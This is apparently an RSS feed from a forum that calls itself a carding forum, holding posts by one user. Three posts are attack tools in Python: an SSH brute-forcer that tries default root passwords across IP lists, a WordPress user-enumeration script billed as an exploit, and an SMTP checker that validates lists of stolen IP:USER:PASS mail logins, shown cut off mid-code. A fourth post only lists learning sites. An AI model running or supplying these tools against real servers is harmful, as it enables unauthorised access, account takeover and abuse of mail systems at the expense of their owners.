<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:dc="http://purl.org/dc/elements/1.1/">
	<channel>
		<title><![CDATA[BPC Squad Bank Paypal And Cards | Carders Forum | Carding Forum - Python & Delphi]]></title>
		<link>https://www.bpcforums.biz/</link>
		<description><![CDATA[BPC Squad Bank Paypal And Cards | Carders Forum | Carding Forum - https://www.bpcforums.biz]]></description>
		<pubDate>Sat, 06 Jun 2026 00:16:10 +0000</pubDate>
		<generator>MyBB</generator>
		<item>
			<title><![CDATA[Brute SSH Python 2016]]></title>
			<link>https://www.bpcforums.biz/Thread-brute-ssh-python-2016</link>
			<pubDate>Sun, 20 Nov 2016 14:50:59 +0000</pubDate>
			<dc:creator><![CDATA[<a href="https://www.bpcforums.biz/member.php?action=profile&uid=18883">subject0</a>]]></dc:creator>
			<guid isPermaLink="false">https://www.bpcforums.biz/Thread-brute-ssh-python-2016</guid>
			<description><![CDATA[<div class="codeblock"><div class="title">Code:</div><div class="body" dir="ltr"><code>#!/usr/bin/env python<br />
#-*- coding: utf-8 -*-<br />
 <br />
import os, sys, argparse<br />
try:<br />
    import paramiko<br />
except:<br />
    os.system("clear")<br />
    print "Instale a lib paramiko "<br />
    quit()<br />
 <br />
#Conecções....<br />
user, porta = "root", 22<br />
ssh = paramiko.SSHClient()<br />
ssh.load_system_host_keys()<br />
ssh.set_missing_host_key_policy(paramiko.MissingHostKeyPolicy())<br />
def Sistema():<br />
    if sys.platform != 'linux2':<br />
        os.system("cls")<br />
    else:<br />
        os.system("clear")<br />
def Banner():<br />
    print """&#92;033[1;37m<br />
   ██████╗ ██████╗ ██╗   ██╗████████╗███████╗    ███████╗███████╗██╗  ██╗<br />
   ██╔══██╗██╔══██╗██║   ██║╚══██╔══╝██╔════╝    ██╔════╝██╔════╝██║  ██║<br />
   ██████╔╝██████╔╝██║   ██║   ██║   █████╗      ███████╗███████╗███████║<br />
   ██╔══██╗██╔══██╗██║   ██║   ██║   ██╔══╝      ╚════██║╚════██║██╔══██║<br />
   ██████╔╝██║  ██║╚██████╔╝   ██║   ███████╗    ███████║███████║██║  ██║<br />
   ╚═════╝ ╚═╝  ╚═╝ ╚═════╝    ╚═╝   ╚══════╝    ╚══════╝╚══════╝╚═╝  ╚═╝&#92;033[0m<br />
&#92;033[0;31m      By ./ChmoD<br />
   &#92;033[0m"""<br />
def Lista(ips):<br />
    Sistema()<br />
    Banner()<br />
    for ip in ips:<br />
        ip = ip.replace("&#92;n", "").replace("&#92;r", "")<br />
        print "&#92;033[1;31m-------------------: Testando: "+ip<br />
        for senha in ['admin', 'root', 'admin123', '@adm1in', '@admin', 'ubnt']:<br />
            try:<br />
                ssh.connect(ip, port=porta, username=user, password=senha)<br />
                print "&#92;033[1;32mPow! Pow! Pow! senha do Server: "+senha+"&#92;033[0m"<br />
                break<br />
            except KeyboardInterrupt:<br />
                print "&#92;033[1;37m&#92;nCnacelando Brute Force...",<br />
                print "Bye&#92;033[0m"<br />
                quit()<br />
            except paramiko.AuthenticationException, error:<br />
                print "&#92;033[1;35mPassword incorreto: "+senha<br />
            except:<br />
                print "&#92;033[1;37mConexão negada!&#92;033[0m"<br />
                break<br />
def Senhas(senha, ip):<br />
    Sistema()<br />
    Banner()<br />
    print "&#92;033[1;31m-------------------- Brute Force: "+ip<br />
    for i in senha:<br />
        i = i.replace("&#92;n", "").replace("&#92;r", "")<br />
        try:<br />
            ssh.connect(ip, port=porta, username=user, password=i)<br />
            print "&#92;033[1;32mPow! PoW! Pow! senha do Server: "+senha+"&#92;033[0m"<br />
            break<br />
        except KeyboardInterrupt:<br />
            print "&#92;033[1;37m&#92;nCnacelando Brute Force...",<br />
            print "Bye&#92;033[0m"<br />
            quit()<br />
        except paramiko.AuthenticationException, error:<br />
            print "&#92;033[1;35mPassword incorreto: "+i+"&#92;033[0m"<br />
        except:<br />
            print "&#92;033[1;37mConexão negada!&#92;033[0m"<br />
            break<br />
def Argumentos():<br />
    parse = argparse.ArgumentParser()<br />
    parse.add_argument("--tipo", action="store", dest="tipo", required=True, help="Escolha o tipo de Brute Force, senha ou lista...")<br />
    parse.add_argument("--senha", action="store", dest="senha", help="Caminho da WordList com as senhas.")<br />
    parse.add_argument("--ip", action="store", dest="ip", help="IP que será realizado o Brute Force com a lista de senahs...")<br />
    parse.add_argument("--lista", action="store", dest="lista", help="Caminho da WordList com IP's..")<br />
    args = parse.parse_args()<br />
    if args.tipo.lower() == "lista":<br />
        lista = args.lista<br />
        lista = open(lista, "r").readlines()<br />
        Lista(lista)<br />
    elif  args.tipo.lower() == 'senha':<br />
        senha = args.senha<br />
        senha = open(senha, "r").readlines()<br />
        ip = args.ip<br />
        Senhas(senha, ip)<br />
    else:<br />
        print """<br />
        Use "./BruteSSH --tipo lista --lista listaIP.txt"<br />
        Esses exemplo usa uma lista de SSH para tentar o Brute Force com palavras padrões.<br />
        Ou "./BruteSSH.py --tipo senha --senha listaSenhas.txt --ip 192.168.0.1"<br />
        Esse já tenta o Brute Force em um determinado IP com uma lista de senha que o usuário dispõe.<br />
 <br />
        """<br />
Sistema()<br />
Argumentos()</code></div></div>]]></description>
			<content:encoded><![CDATA[<div class="codeblock"><div class="title">Code:</div><div class="body" dir="ltr"><code>#!/usr/bin/env python<br />
#-*- coding: utf-8 -*-<br />
 <br />
import os, sys, argparse<br />
try:<br />
    import paramiko<br />
except:<br />
    os.system("clear")<br />
    print "Instale a lib paramiko "<br />
    quit()<br />
 <br />
#Conecções....<br />
user, porta = "root", 22<br />
ssh = paramiko.SSHClient()<br />
ssh.load_system_host_keys()<br />
ssh.set_missing_host_key_policy(paramiko.MissingHostKeyPolicy())<br />
def Sistema():<br />
    if sys.platform != 'linux2':<br />
        os.system("cls")<br />
    else:<br />
        os.system("clear")<br />
def Banner():<br />
    print """&#92;033[1;37m<br />
   ██████╗ ██████╗ ██╗   ██╗████████╗███████╗    ███████╗███████╗██╗  ██╗<br />
   ██╔══██╗██╔══██╗██║   ██║╚══██╔══╝██╔════╝    ██╔════╝██╔════╝██║  ██║<br />
   ██████╔╝██████╔╝██║   ██║   ██║   █████╗      ███████╗███████╗███████║<br />
   ██╔══██╗██╔══██╗██║   ██║   ██║   ██╔══╝      ╚════██║╚════██║██╔══██║<br />
   ██████╔╝██║  ██║╚██████╔╝   ██║   ███████╗    ███████║███████║██║  ██║<br />
   ╚═════╝ ╚═╝  ╚═╝ ╚═════╝    ╚═╝   ╚══════╝    ╚══════╝╚══════╝╚═╝  ╚═╝&#92;033[0m<br />
&#92;033[0;31m      By ./ChmoD<br />
   &#92;033[0m"""<br />
def Lista(ips):<br />
    Sistema()<br />
    Banner()<br />
    for ip in ips:<br />
        ip = ip.replace("&#92;n", "").replace("&#92;r", "")<br />
        print "&#92;033[1;31m-------------------: Testando: "+ip<br />
        for senha in ['admin', 'root', 'admin123', '@adm1in', '@admin', 'ubnt']:<br />
            try:<br />
                ssh.connect(ip, port=porta, username=user, password=senha)<br />
                print "&#92;033[1;32mPow! Pow! Pow! senha do Server: "+senha+"&#92;033[0m"<br />
                break<br />
            except KeyboardInterrupt:<br />
                print "&#92;033[1;37m&#92;nCnacelando Brute Force...",<br />
                print "Bye&#92;033[0m"<br />
                quit()<br />
            except paramiko.AuthenticationException, error:<br />
                print "&#92;033[1;35mPassword incorreto: "+senha<br />
            except:<br />
                print "&#92;033[1;37mConexão negada!&#92;033[0m"<br />
                break<br />
def Senhas(senha, ip):<br />
    Sistema()<br />
    Banner()<br />
    print "&#92;033[1;31m-------------------- Brute Force: "+ip<br />
    for i in senha:<br />
        i = i.replace("&#92;n", "").replace("&#92;r", "")<br />
        try:<br />
            ssh.connect(ip, port=porta, username=user, password=i)<br />
            print "&#92;033[1;32mPow! PoW! Pow! senha do Server: "+senha+"&#92;033[0m"<br />
            break<br />
        except KeyboardInterrupt:<br />
            print "&#92;033[1;37m&#92;nCnacelando Brute Force...",<br />
            print "Bye&#92;033[0m"<br />
            quit()<br />
        except paramiko.AuthenticationException, error:<br />
            print "&#92;033[1;35mPassword incorreto: "+i+"&#92;033[0m"<br />
        except:<br />
            print "&#92;033[1;37mConexão negada!&#92;033[0m"<br />
            break<br />
def Argumentos():<br />
    parse = argparse.ArgumentParser()<br />
    parse.add_argument("--tipo", action="store", dest="tipo", required=True, help="Escolha o tipo de Brute Force, senha ou lista...")<br />
    parse.add_argument("--senha", action="store", dest="senha", help="Caminho da WordList com as senhas.")<br />
    parse.add_argument("--ip", action="store", dest="ip", help="IP que será realizado o Brute Force com a lista de senahs...")<br />
    parse.add_argument("--lista", action="store", dest="lista", help="Caminho da WordList com IP's..")<br />
    args = parse.parse_args()<br />
    if args.tipo.lower() == "lista":<br />
        lista = args.lista<br />
        lista = open(lista, "r").readlines()<br />
        Lista(lista)<br />
    elif  args.tipo.lower() == 'senha':<br />
        senha = args.senha<br />
        senha = open(senha, "r").readlines()<br />
        ip = args.ip<br />
        Senhas(senha, ip)<br />
    else:<br />
        print """<br />
        Use "./BruteSSH --tipo lista --lista listaIP.txt"<br />
        Esses exemplo usa uma lista de SSH para tentar o Brute Force com palavras padrões.<br />
        Ou "./BruteSSH.py --tipo senha --senha listaSenhas.txt --ip 192.168.0.1"<br />
        Esse já tenta o Brute Force em um determinado IP com uma lista de senha que o usuário dispõe.<br />
 <br />
        """<br />
Sistema()<br />
Argumentos()</code></div></div>]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[Enumerate Users Wordpress 2016 Python]]></title>
			<link>https://www.bpcforums.biz/Thread-enumerate-users-wordpress-2016-python</link>
			<pubDate>Sun, 20 Nov 2016 14:49:01 +0000</pubDate>
			<dc:creator><![CDATA[<a href="https://www.bpcforums.biz/member.php?action=profile&uid=18883">subject0</a>]]></dc:creator>
			<guid isPermaLink="false">https://www.bpcforums.biz/Thread-enumerate-users-wordpress-2016-python</guid>
			<description><![CDATA[<div class="codeblock"><div class="title">Code:</div><div class="body" dir="ltr"><code>#!/usr/bin/env python<br />
# CodeD By ./ChmoD<br />
# Enumerate Users WordPress<br />
# Ex: ./EXploit -s http://site.com.br -n 30<br />
# *** Brazilians Hackers Team ***<br />
 <br />
import urllib2, urllib, sys, argparse<br />
 <br />
def banner():<br />
    print ("""<br />
          `,+@@@+                              <br />
        .+@@@@@@@;                            <br />
     `;@@@@@@@@@@@                            <br />
    +@@@@@@@@@@@@@:                            <br />
  ;@@@@@@@@@@@@@@@@                            <br />
`@@@@@@@@@@@@@@@@@@`                          <br />
`@@@@@@@@@@@@@@@@@@#                          <br />
 .@@@@@@@@@@@@@@@@@@,                          <br />
  :@@@@@@@@@@@@@@@@@@      .'@@                <br />
   #@@@@@@@@@@@@@@@@+;  .+@@@@@                <br />
   `@@@@@@@@@@@@@#;;+@+#@@@#:`                <br />
    #@@@@@@@@@@';'@@@@@@@:`                    <br />
    `@@@@@@@+;;+@@@@@##`                      <br />
     .@@@#;;+@@@@@#+',.,'.                    <br />
      +;;'#@@@@#+;`      ,:                    <br />
      .#@@@@#++:  @.    ...`                  <br />
   `'@@@@#++'. +  .#++;;+  +                  <br />
 ,@@@@@#++:``::+   `',:+,. ,                  <br />
`@@@@#, #+` ',.`'.   +` ``  `,  .+              <br />
@@:`  ,+. ,`:``.:   '. .',+++   #              <br />
``    #+`++,.`:,``    :`+@@'@@@@'    ````      <br />
      #'`#+:`.,`:` .@@@+@#  +`.      :  `:    <br />
      #:: +.`,.., `@@,#@':. +        :   '    <br />
      #: ` ',:`,, @#``    + +        ' `,;    <br />
      #: ` `:''`  @` #:.. , '        #+++:    <br />
      #: ,     ;#'#  + :   `:         #++      <br />
      #; '     `''         ,          '.      <br />
      ;' '                 #         `@#      *** Brazilians Hackers Team ***<br />
       #.;                ;`       ,#.:;      <br />
       `+;               '.        @   `            Cod3D By ./ChmoD<br />
        :#;            `@:        :`  `,      <br />
         .#+;        `'+.'        +               Skype: BrazilObscure<br />
           .@++#'+@+@++` ;@.     '            <br />
            `' ., ` #:`# `+.#+  :.            <br />
             ., :  @#;.`;`:  `#@.              <br />
              +``,.;`@+,. '#                  <br />
              @' ' ;`@:+`#`;`                  <br />
             `#+  ,'`#  :.  '                  <br />
             ' #.  :`#` '`. +                  <br />
             # +.  .:+: :`. .                  <br />
            `, +,   ..+ '`   :                <br />
            ;` #+@:,:#.;``   '                <br />
            #'##:#+.  : `;   ;                <br />
            #. #:      `'`   :                <br />
               #,        `   . """)<br />
    time.sleep(1)<br />
 <br />
def uniq(lst):<br />
    last = object()<br />
    for item in lst:<br />
        if item == last:<br />
            continue<br />
        yield item<br />
        last = item<br />
 <br />
def sort_and_deduplicate(l):<br />
    return list(uniq(sorted(l, reverse=False)))<br />
 <br />
def curllib(req, params=None,postdata=None):<br />
    headers = { 'User-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:9.0) Gecko/20100101 Firefox/9.0',<br />
                'Content-Type': 'application/x-www-form-urlencoded'}<br />
    try:<br />
        req = urllib2.Request( req, postdata, headers)<br />
        req = urllib2.urlopen(req, timeout = 30).read()<br />
    except Exception as e:<br />
        return False<br />
    return req<br />
 <br />
def sout(s):<br />
    sys.stdout.write( s + "&#92;r" )<br />
    sys.stdout.flush()<br />
 <br />
def finder( text, start, end, index = 1 ):<br />
    try:<br />
        text = text.split(start)[index]<br />
        return text.split(end)[0]<br />
    except:<br />
        return ""<br />
 <br />
def find_username( html=None ):<br />
    if html != None:<br />
        return { "user": finder( html, '/author/', '/' ), "name": finder( html, '&lt;title&gt;', '&lt;/title&gt;' ).split(',')[0] }<br />
 <br />
 <br />
# Main:<br />
 <br />
parser = argparse.ArgumentParser(description="Wordpress Enumerate Users", epilog="&#92;033[1mCoded by ChmoD &#92;033[0m")<br />
 <br />
parser.add_argument( '-s', '--site', required=True, default=None, help='target domain or URL')<br />
parser.add_argument( '-n', required=True, type=int, default=None , help='numbers of users to enumerate.')<br />
args = vars(parser.parse_args())<br />
 <br />
results = []<br />
max_login_len = max_name_len = 0<br />
site = urllib2.urlparse.urlparse( args['site'] )<br />
usern = args['n']<br />
 <br />
if site:<br />
    site = site[0]+"://"+site[1]+"/" if site[2] == "" else site[0]+"://"+site[1]+site[2]<br />
    print("[+]: Scanning "+site)<br />
else:<br />
    sys.exit("[#]: Wrong SITE formate (ex):&#92;r&#92;nhttp://target.com/")<br />
for x in range( 0, usern ):<br />
    sout("[+]: %" + str( 100 / usern*x ) + "&#92;t")<br />
    try:<br />
        tmp = curllib(site, '', urllib.urlencode({"author":(x+1)}) )#vsend the request<br />
        if tmp == False:<br />
            pass<br />
        tmp = find_username( tmp ) # extract the info from the respond<br />
    except:<br />
        pass<br />
    if len(tmp['user']):<br />
        results.append(tmp)<br />
        max_login_len = len(tmp['user']) if max_login_len &lt; len(tmp['user']) else max_login_len #get the longest username<br />
        max_name_len = len(tmp['name']) if max_name_len &lt; len(tmp['name']) else max_name_len #get the longest name<br />
 <br />
if not results:<br />
    print("[ERROR]: Could not find anything, or something went wrong!")<br />
    sys.exit()<br />
results = sort_and_deduplicate(results)#remove duplicate<br />
print("Found "+str( len( results ) )+" users in "+site+"")<br />
 <br />
login_space = (max_login_len-len("Login")+1)*" "<br />
name_space = (max_name_len-len("Name")+1)*" "<br />
login_bar = ((max_login_len-len("Login")+1)+6)*"-"<br />
name_bar = ((max_name_len-len("Name")+1)+5)*"-"<br />
header = "| Id | Login"+login_space+"| Name"+name_space+"|"<br />
 <br />
# print the head of the table<br />
print("  +----+"+login_bar+"+"+name_bar+"+")<br />
print("  "+header)<br />
print("  +----+"+login_bar+"+"+name_bar+"+")<br />
 <br />
# print the<br />
for x in range(0,len(results)):<br />
    id_space = (3-len(str(x+1)))*" "<br />
    login_space = (max_login_len-len(results[x]['user'])+1)*" "<br />
    name_space = (max_name_len-len(results[x]['name'])+1)*" "<br />
    print("  | "+str(x+1)+id_space+"| "+results[x]['user']+login_space+"| "+results[x]['name']+name_space+"|")<br />
print("  +----+"+login_bar+"+"+name_bar+"+")</code></div></div>]]></description>
			<content:encoded><![CDATA[<div class="codeblock"><div class="title">Code:</div><div class="body" dir="ltr"><code>#!/usr/bin/env python<br />
# CodeD By ./ChmoD<br />
# Enumerate Users WordPress<br />
# Ex: ./EXploit -s http://site.com.br -n 30<br />
# *** Brazilians Hackers Team ***<br />
 <br />
import urllib2, urllib, sys, argparse<br />
 <br />
def banner():<br />
    print ("""<br />
          `,+@@@+                              <br />
        .+@@@@@@@;                            <br />
     `;@@@@@@@@@@@                            <br />
    +@@@@@@@@@@@@@:                            <br />
  ;@@@@@@@@@@@@@@@@                            <br />
`@@@@@@@@@@@@@@@@@@`                          <br />
`@@@@@@@@@@@@@@@@@@#                          <br />
 .@@@@@@@@@@@@@@@@@@,                          <br />
  :@@@@@@@@@@@@@@@@@@      .'@@                <br />
   #@@@@@@@@@@@@@@@@+;  .+@@@@@                <br />
   `@@@@@@@@@@@@@#;;+@+#@@@#:`                <br />
    #@@@@@@@@@@';'@@@@@@@:`                    <br />
    `@@@@@@@+;;+@@@@@##`                      <br />
     .@@@#;;+@@@@@#+',.,'.                    <br />
      +;;'#@@@@#+;`      ,:                    <br />
      .#@@@@#++:  @.    ...`                  <br />
   `'@@@@#++'. +  .#++;;+  +                  <br />
 ,@@@@@#++:``::+   `',:+,. ,                  <br />
`@@@@#, #+` ',.`'.   +` ``  `,  .+              <br />
@@:`  ,+. ,`:``.:   '. .',+++   #              <br />
``    #+`++,.`:,``    :`+@@'@@@@'    ````      <br />
      #'`#+:`.,`:` .@@@+@#  +`.      :  `:    <br />
      #:: +.`,.., `@@,#@':. +        :   '    <br />
      #: ` ',:`,, @#``    + +        ' `,;    <br />
      #: ` `:''`  @` #:.. , '        #+++:    <br />
      #: ,     ;#'#  + :   `:         #++      <br />
      #; '     `''         ,          '.      <br />
      ;' '                 #         `@#      *** Brazilians Hackers Team ***<br />
       #.;                ;`       ,#.:;      <br />
       `+;               '.        @   `            Cod3D By ./ChmoD<br />
        :#;            `@:        :`  `,      <br />
         .#+;        `'+.'        +               Skype: BrazilObscure<br />
           .@++#'+@+@++` ;@.     '            <br />
            `' ., ` #:`# `+.#+  :.            <br />
             ., :  @#;.`;`:  `#@.              <br />
              +``,.;`@+,. '#                  <br />
              @' ' ;`@:+`#`;`                  <br />
             `#+  ,'`#  :.  '                  <br />
             ' #.  :`#` '`. +                  <br />
             # +.  .:+: :`. .                  <br />
            `, +,   ..+ '`   :                <br />
            ;` #+@:,:#.;``   '                <br />
            #'##:#+.  : `;   ;                <br />
            #. #:      `'`   :                <br />
               #,        `   . """)<br />
    time.sleep(1)<br />
 <br />
def uniq(lst):<br />
    last = object()<br />
    for item in lst:<br />
        if item == last:<br />
            continue<br />
        yield item<br />
        last = item<br />
 <br />
def sort_and_deduplicate(l):<br />
    return list(uniq(sorted(l, reverse=False)))<br />
 <br />
def curllib(req, params=None,postdata=None):<br />
    headers = { 'User-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:9.0) Gecko/20100101 Firefox/9.0',<br />
                'Content-Type': 'application/x-www-form-urlencoded'}<br />
    try:<br />
        req = urllib2.Request( req, postdata, headers)<br />
        req = urllib2.urlopen(req, timeout = 30).read()<br />
    except Exception as e:<br />
        return False<br />
    return req<br />
 <br />
def sout(s):<br />
    sys.stdout.write( s + "&#92;r" )<br />
    sys.stdout.flush()<br />
 <br />
def finder( text, start, end, index = 1 ):<br />
    try:<br />
        text = text.split(start)[index]<br />
        return text.split(end)[0]<br />
    except:<br />
        return ""<br />
 <br />
def find_username( html=None ):<br />
    if html != None:<br />
        return { "user": finder( html, '/author/', '/' ), "name": finder( html, '&lt;title&gt;', '&lt;/title&gt;' ).split(',')[0] }<br />
 <br />
 <br />
# Main:<br />
 <br />
parser = argparse.ArgumentParser(description="Wordpress Enumerate Users", epilog="&#92;033[1mCoded by ChmoD &#92;033[0m")<br />
 <br />
parser.add_argument( '-s', '--site', required=True, default=None, help='target domain or URL')<br />
parser.add_argument( '-n', required=True, type=int, default=None , help='numbers of users to enumerate.')<br />
args = vars(parser.parse_args())<br />
 <br />
results = []<br />
max_login_len = max_name_len = 0<br />
site = urllib2.urlparse.urlparse( args['site'] )<br />
usern = args['n']<br />
 <br />
if site:<br />
    site = site[0]+"://"+site[1]+"/" if site[2] == "" else site[0]+"://"+site[1]+site[2]<br />
    print("[+]: Scanning "+site)<br />
else:<br />
    sys.exit("[#]: Wrong SITE formate (ex):&#92;r&#92;nhttp://target.com/")<br />
for x in range( 0, usern ):<br />
    sout("[+]: %" + str( 100 / usern*x ) + "&#92;t")<br />
    try:<br />
        tmp = curllib(site, '', urllib.urlencode({"author":(x+1)}) )#vsend the request<br />
        if tmp == False:<br />
            pass<br />
        tmp = find_username( tmp ) # extract the info from the respond<br />
    except:<br />
        pass<br />
    if len(tmp['user']):<br />
        results.append(tmp)<br />
        max_login_len = len(tmp['user']) if max_login_len &lt; len(tmp['user']) else max_login_len #get the longest username<br />
        max_name_len = len(tmp['name']) if max_name_len &lt; len(tmp['name']) else max_name_len #get the longest name<br />
 <br />
if not results:<br />
    print("[ERROR]: Could not find anything, or something went wrong!")<br />
    sys.exit()<br />
results = sort_and_deduplicate(results)#remove duplicate<br />
print("Found "+str( len( results ) )+" users in "+site+"")<br />
 <br />
login_space = (max_login_len-len("Login")+1)*" "<br />
name_space = (max_name_len-len("Name")+1)*" "<br />
login_bar = ((max_login_len-len("Login")+1)+6)*"-"<br />
name_bar = ((max_name_len-len("Name")+1)+5)*"-"<br />
header = "| Id | Login"+login_space+"| Name"+name_space+"|"<br />
 <br />
# print the head of the table<br />
print("  +----+"+login_bar+"+"+name_bar+"+")<br />
print("  "+header)<br />
print("  +----+"+login_bar+"+"+name_bar+"+")<br />
 <br />
# print the<br />
for x in range(0,len(results)):<br />
    id_space = (3-len(str(x+1)))*" "<br />
    login_space = (max_login_len-len(results[x]['user'])+1)*" "<br />
    name_space = (max_name_len-len(results[x]['name'])+1)*" "<br />
    print("  | "+str(x+1)+id_space+"| "+results[x]['user']+login_space+"| "+results[x]['name']+name_space+"|")<br />
print("  +----+"+login_bar+"+"+name_bar+"+")</code></div></div>]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[Start Learning - Python Ruby PHP Pentest And Other]]></title>
			<link>https://www.bpcforums.biz/Thread-start-learning-python-ruby-php-pentest-and-other</link>
			<pubDate>Sun, 20 Nov 2016 12:29:17 +0000</pubDate>
			<dc:creator><![CDATA[<a href="https://www.bpcforums.biz/member.php?action=profile&uid=18883">subject0</a>]]></dc:creator>
			<guid isPermaLink="false">https://www.bpcforums.biz/Thread-start-learning-python-ruby-php-pentest-and-other</guid>
			<description><![CDATA[now you learn very good coding programming lang and pentest security easy and fast <img src="https://www.bpcforums.biz/images/smilies/smile.png" alt="Smile" title="Smile" class="smilie smilie_1" /> <br />
<br />
<a href="https://www.codeschool.com" target="_blank" rel="noopener" class="mycode_url">https://www.codeschool.com</a><br />
<br />
<a href="https://www.codecademy.com" target="_blank" rel="noopener" class="mycode_url">https://www.codecademy.com</a> &lt;&lt;== My Fav<br />
<br />
<a href="http://www.tutorialspoint.com" target="_blank" rel="noopener" class="mycode_url">http://www.tutorialspoint.com</a> &lt;&lt;==My Fav<br />
<br />
<a href="http://www.programinurdu.com" target="_blank" rel="noopener" class="mycode_url">http://www.programinurdu.com</a> &lt;&lt;== For Indian And Pakistanis (Urdu Hindi)<br />
<br />
<a href="https://www.thenewboston.com" target="_blank" rel="noopener" class="mycode_url">https://www.thenewboston.com</a><br />
<br />
<a href="http://www.sitepoint.com" target="_blank" rel="noopener" class="mycode_url">http://www.sitepoint.com</a><br />
<br />
<a href="http://www.developerdrive.com" target="_blank" rel="noopener" class="mycode_url">http://www.developerdrive.com</a><br />
<br />
<a href="http://learnpythonthehardway.org/book/" target="_blank" rel="noopener" class="mycode_url">http://learnpythonthehardway.org/book/</a><br />
<br />
<a href="http://learnrubythehardway.org/book/" target="_blank" rel="noopener" class="mycode_url">http://learnrubythehardway.org/book/</a><br />
<br />
<a href="https://www.sololearn.com/" target="_blank" rel="noopener" class="mycode_url">https://www.sololearn.com/</a><br />
<br />
<a href="https://www.cybrary.it/" target="_blank" rel="noopener" class="mycode_url">https://www.cybrary.it/</a> &lt;&lt;== Pentesting Security Networking <br />
<br />
SOON I UPDATE MORE <img src="https://www.bpcforums.biz/images/smilies/smile.png" alt="Smile" title="Smile" class="smilie smilie_1" />]]></description>
			<content:encoded><![CDATA[now you learn very good coding programming lang and pentest security easy and fast <img src="https://www.bpcforums.biz/images/smilies/smile.png" alt="Smile" title="Smile" class="smilie smilie_1" /> <br />
<br />
<a href="https://www.codeschool.com" target="_blank" rel="noopener" class="mycode_url">https://www.codeschool.com</a><br />
<br />
<a href="https://www.codecademy.com" target="_blank" rel="noopener" class="mycode_url">https://www.codecademy.com</a> &lt;&lt;== My Fav<br />
<br />
<a href="http://www.tutorialspoint.com" target="_blank" rel="noopener" class="mycode_url">http://www.tutorialspoint.com</a> &lt;&lt;==My Fav<br />
<br />
<a href="http://www.programinurdu.com" target="_blank" rel="noopener" class="mycode_url">http://www.programinurdu.com</a> &lt;&lt;== For Indian And Pakistanis (Urdu Hindi)<br />
<br />
<a href="https://www.thenewboston.com" target="_blank" rel="noopener" class="mycode_url">https://www.thenewboston.com</a><br />
<br />
<a href="http://www.sitepoint.com" target="_blank" rel="noopener" class="mycode_url">http://www.sitepoint.com</a><br />
<br />
<a href="http://www.developerdrive.com" target="_blank" rel="noopener" class="mycode_url">http://www.developerdrive.com</a><br />
<br />
<a href="http://learnpythonthehardway.org/book/" target="_blank" rel="noopener" class="mycode_url">http://learnpythonthehardway.org/book/</a><br />
<br />
<a href="http://learnrubythehardway.org/book/" target="_blank" rel="noopener" class="mycode_url">http://learnrubythehardway.org/book/</a><br />
<br />
<a href="https://www.sololearn.com/" target="_blank" rel="noopener" class="mycode_url">https://www.sololearn.com/</a><br />
<br />
<a href="https://www.cybrary.it/" target="_blank" rel="noopener" class="mycode_url">https://www.cybrary.it/</a> &lt;&lt;== Pentesting Security Networking <br />
<br />
SOON I UPDATE MORE <img src="https://www.bpcforums.biz/images/smilies/smile.png" alt="Smile" title="Smile" class="smilie smilie_1" />]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[Smtp Checker Python]]></title>
			<link>https://www.bpcforums.biz/Thread-smtp-checker-python</link>
			<pubDate>Sun, 20 Nov 2016 12:26:45 +0000</pubDate>
			<dc:creator><![CDATA[<a href="https://www.bpcforums.biz/member.php?action=profile&uid=18883">subject0</a>]]></dc:creator>
			<guid isPermaLink="false">https://www.bpcforums.biz/Thread-smtp-checker-python</guid>
			<description><![CDATA[Old SMTP Checker, Still Working<br />
<br />
All Credit To Old Hackers <img src="https://www.bpcforums.biz/images/smilies/smile.png" alt="Smile" title="Smile" class="smilie smilie_1" /><br />
<br />
<div class="codeblock"><div class="title">Code:</div><div class="body" dir="ltr"><code>#!usr/bin/python <br />
#more tools<br />
<br />
import sys, smtplib, socket, time<br />
from smtplib import SMTP <br />
<br />
socket.setdefaulttimeout(5)    # smtp default timeout, change number to speed up large lists<br />
<br />
def printHelp(): <br />
    print '&#92;nHow to use it ? There you go :) -- &gt; ./darkSMTPv.py &lt;accounts&gt; &lt;outputfile&gt;'<br />
    print '&#92;nImportant: THE SMTP ACCOUNTS MUST BE IN THE FOLLOWING FORMAT : IP:USER:PASS&#92;n'<br />
<br />
# Create the message<br />
fromaddr = "YOUR SENDER ADDRES"<br />
toaddr = "YOUR EAMIL FOR RECIVE SMTP RESULTS"<br />
#toaddr = "YOUR EAMIL FOR RECIVE SMTP RESULTS"<br />
message = """To: %s <br />
From: %s <br />
Subject: WELCOME HOME BROTHER...<br />
 <br />
WELCOME HOME BROTHER , WE MISS YOU ALL :( MOM DAD DIED 7 YEARS AGO :'(<br />
 <br />
""" % (toaddr,fromaddr) <br />
<br />
print "&#92;n     _            _     _____ __  __ _______ _____        " <br />
print "    | |          | |   / ____|  &#92;/  |__   __|  __ &#92;       "<br />
print "  __| | __ _ _ __| | _| (___ | &#92;  / |  | |  | |__) |_   __"<br />
print " / _` |/ _` | '__| |/ /&#92;___ &#92;| |&#92;/| |  | |  |  ___/&#92; &#92; / /"<br />
print "| (_| | (_| | |  |   &lt; ____) | |  | |  | |  | |     &#92; V / "<br />
print " &#92;__,_|&#92;__,_|_|  |_|&#92;_&#92;_____/|_|  |_|  |_|  |_|      &#92;_/  &#92;n"<br />
print "&#92;n This is not stopping here! ... To be continued."<br />
print "More features will be added soon. For bugs p47r1ckro[at]gmail[dot]com&#92;n"<br />
print "_______________________________________________________________________"<br />
<br />
<br />
def timer():<br />
        now = time.localtime(time.time())<br />
        return time.asctime(now)<br />
<br />
def sendchk(listindex, host, user, password):   # seperated function for checking<br />
&nbsp;&nbsp;&nbsp;&nbsp;try:<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;smtp = smtplib.SMTP(host)<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;smtp.login(user, password)<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;code = smtp.ehlo()[0]<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if not (200 &lt;= code &lt;= 299):<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;code = smtp.helo()[0]<br />
